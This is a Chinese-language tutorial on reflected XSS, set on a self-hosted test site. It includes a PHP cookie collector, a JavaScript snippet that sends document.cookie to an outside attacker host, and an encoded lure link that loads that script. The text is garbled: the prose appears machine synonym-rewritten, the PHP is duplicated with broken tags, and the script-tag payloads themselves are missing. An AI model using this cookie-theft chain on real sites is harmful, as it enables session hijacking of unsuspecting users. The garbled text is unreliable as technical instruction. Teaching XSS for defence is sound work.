我们知道,XSS报复打击大年夜致分为三种类型 :Persistent型(持久型),Non-persistent(反射型)及Dom-based型。而反射型是最常常利用,也是利用得最广的一种报复打击编制。它经由过程给他人发送带有歹意脚本代码参数的URL,当URL地址被打开时,独有的歹意代码参数被HTML解析、履行。它的特点长短持久化,必需用户点击带有特定参数的链接才能引发。
今天,经由过程一个反射型xss的实战演示,让大年夜家具体体味这类报复打击编制。
预备工作:
(1) 一个有反射型xss缝隙的网站(本身搭的虚拟站点,域名为xsstest.qq.com),该域名下有一个首页(index.html),一个登岸页面(login.html),一个登岸的cgi(login.php),一个用于搜刮的cgi(search.php)。界面以下:
因为xss缝隙一般产生于与用户交互的处所,是以搜刮框是我们存眷的重点。
(2)我们本身的黑客网站(另外一个虚拟站点 hacker.qq.com)。该域名下有一个hack.php,用以汇集用户的cookie,一个hacker.js用以向hack.php发要求。
发现缝隙
我们起首需要找出站点的xss缝隙产生在甚么处所,上面提到,与用户交互的处所是我们的首要存眷点。。好,此刻我们随便输进几个字符“计较机”,点击搜刮:
搜刮界面以下(这是本身写的一个简陋的搜刮界面):
这里发现了我们输进的字符呈此刻了搜刮界面上(良多电商网站应当都是这类界面页面情势吧)。。好,此次我们输进一些特别字符来尝尝“”,点击搜刮:
呈现了我们心仪的小弹窗,看来search.php未对用户输进的关头词作任何措置,便直接输出到界面上,既然xss缝隙呈现,那么便可以开端实施报复打击了,此次报复打击的目标是盗取用户的cookie。
实施报复打击
起首我们来写我们本身的手机cookie CGI(hack.php),代码以下:
$cookie = $_GET['q'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
?> $cookie = $_GET['q'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
> $cookie = $_GET['q'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
>
接着写发送要求的hacker.js,代码以下:
var img = new Image();
img.src = "http://hacker.qq.com/hack.php?q="+document.cookie;
document.body.append(img);
好的,此刻可以机关一个连接来棍骗用户了:
src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
1&pcat=food2011&style=grid&cat="> src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
1&pcat=food2011&style=grid&cat=">点击就送998
看search.php 后的q参数 ,解码后为
实际的感化是摹拟用户在搜刮框中输进
后点击搜刮。search.php未经措置的将其直接输进到页面,使其在html文档中有了新的语义。它会加载hacker.qq.com域下的haker.js。
好,当用户登岸了网站后,再棍骗用户点击这个链接,这时候辰,看hacker.qq.com域下,发现多了一个cookie.txt文件,打开来:
发现用户用于登岸的账号,暗码都在内,暗码是颠末加密的。。OK,此刻我们便可以拿着这个cookie来获得用户的登岸态了。
全部报复打击过程结束。
当然,实际过程中,很少有网站有如斯较着的xss缝隙。。这里只是给大年夜家示范了一下反射型xss的道理,实际中的缝隙当然八门五花,可是本质是不变的。。大年夜家可以进一步研究。